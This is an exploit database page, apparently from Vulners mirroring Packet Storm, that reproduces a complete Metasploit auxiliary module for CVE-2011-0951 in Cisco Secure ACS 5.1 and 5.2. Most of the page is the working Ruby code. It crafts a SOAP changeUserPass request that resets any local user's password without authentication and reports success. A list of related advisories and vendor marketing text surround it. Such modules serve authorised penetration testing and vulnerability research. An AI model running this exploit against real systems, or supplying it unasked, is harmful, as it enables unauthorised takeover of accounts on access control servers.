Lucene search
K

Cisco Secure ACS Unauthorized Password Change

🗓️ 31 Aug 2024 00:00:00Reported by Jason Kratzer, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 165 Views

Cisco Secure ACS Unauthorized Password Change module exploits authentication bypass issue allowing arbitrary password change requests for any user in the local store. Instances of Secure ACS running version 5.1 with patches 3, 4, or 5, and version 5.2 with either no patches or patches 1 and 2 are vulnerable

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2011-0951
16 Jul 202015:38
circl
Cisco
Cisco Secure Access Control System Password Modification Vulnerability
30 Mar 201116:24
cisco
Tenable Nessus
Cisco Secure ACS Unauthorized Password Change
11 Apr 201300:00
nessus
CVE
CVE-2011-0951
1 Apr 201121:00
cve
Cvelist
CVE-2011-0951
1 Apr 201121:00
cvelist
Metasploit
Cisco Secure ACS Unauthorized Password Change
22 Jun 202010:11
metasploit
NVD
CVE-2011-0951
4 Apr 201112:27
nvd
Prion
Design/Logic Flaw
4 Apr 201112:27
prion
securityvulns
Cisco Security Advisory: Cisco Secure Access Control System Unauthorized Password Change Vulnerability
31 Mar 201100:00
securityvulns
securityvulns
Cisco Secure Access Control System privilege escalation
31 Mar 201100:00
securityvulns
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
include Msf::Exploit::Deprecated  
moved_from 'auxiliary/admin/cisco/cisco_secure_acs_bypass'  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Cisco Secure ACS Unauthorized Password Change',  
'Description' => %q{  
This module exploits an authentication bypass issue which allows arbitrary  
password change requests to be issued for any user in the local store.  
Instances of Secure ACS running version 5.1 with patches 3, 4, or 5 as well  
as version 5.2 with either no patches or patches 1 and 2 are vulnerable.  
},  
'References' =>  
[  
['BID', '47093'],  
['CVE', '2011-0951'],  
['URL', 'http://www.cisco.com/en/US/products/csa/cisco-sa-20110330-acs.html']  
],  
'Author' =>  
[  
'Jason Kratzer <pyoor[at]flinkd.org>'  
],  
'License' => MSF_LICENSE  
)  
)  
  
register_options(  
[  
Opt::RPORT(443),  
OptString.new('TARGETURI', [true, 'Path to UCP WebService', '/PI/services/UCP/']),  
OptString.new('USERNAME', [true, 'Username to use', '']),  
OptString.new('PASSWORD', [true, 'Password to use', '']),  
OptBool.new('SSL', [true, 'Use SSL', true])  
]  
)  
end  
  
def run_host(_ip)  
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'  
soapenvenc = 'http://schemas.xmlsoap.org/soap/encoding/'  
xsi = 'http://www.w3.org/1999/XMLSchema-instance'  
xsd = 'http://www.w3.org/1999/XMLSchema'  
# ns1 = 'ns1:changeUserPass'  
  
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"  
data << '<SOAP-ENV:Envelope SOAP-ENV:encodingStyle="' + soapenvenc + '" '  
data << 'xmlns:SOAP-ENC="' + soapenvenc + '" '  
data << 'xmlns:xsi="' + xsi + '" xmlns:SOAP-ENV="' + soapenv + '" '  
data << 'xmlns:xsd="' + xsd + '">' + "\r\n"  
  
data << '<SOAP-ENV:Body>' + "\r\n"  
data << '<ns1:changeUserPass xmlns:ns1="UCP" SOAP-ENC:root="1">' + "\r\n"  
data << '<v1 xsi:type="xsd:string">' + datastore['USERNAME'] + '</v1>' + "\r\n"  
data << '<v2 xsi:type="xsd:string">fakepassword</v2>' + "\r\n"  
data << '<v3 xsi:type="xsd:string">' + datastore['PASSWORD'] + '</v3>' + "\r\n"  
data << '</ns1:changeUserPass>'  
data << '</SOAP-ENV:Body>' + "\r\n"  
data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"  
  
print_status('Issuing password change request for: ' + datastore['USERNAME'])  
  
begin  
uri = normalize_uri(target_uri.path)  
uri << '/' if uri[-1, 1] != '/'  
res = send_request_cgi({  
'uri' => uri,  
'method' => 'POST',  
'data' => data,  
'headers' =>  
{  
'SOAPAction' => '"changeUserPass"'  
}  
}, 60)  
rescue ::Rex::ConnectionError  
print_error("#{rhost}:#{rport} [ACS] Unable to communicate")  
return :abort  
end  
  
if !res  
print_error("#{rhost}:#{rport} [ACS] Unable to connect")  
return  
elsif res.code == 200  
body = res.body  
if body.match(/success/i)  
print_good("#{rhost} - Success! Password has been changed.")  
elsif body.match(/Password has already been used/)  
print_error("#{rhost} - Failed! The supplied password has already been used.")  
print_error('Please change the password and try again.')  
elsif body.match(/Invalid credntials for user/)  
print_error("#{rhost} - Failed! Either the username does not exist or target is not vulnerable.")  
print_error('Please change the username and try again.')  
else  
print_error("#{rhost} - Failed! An unknown error has occurred.")  
end  
else  
print_error("#{rhost} - Failed! The webserver issued a #{res.code} response.")  
print_error('Please validate the TARGETURI option and try again.')  
end  
  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation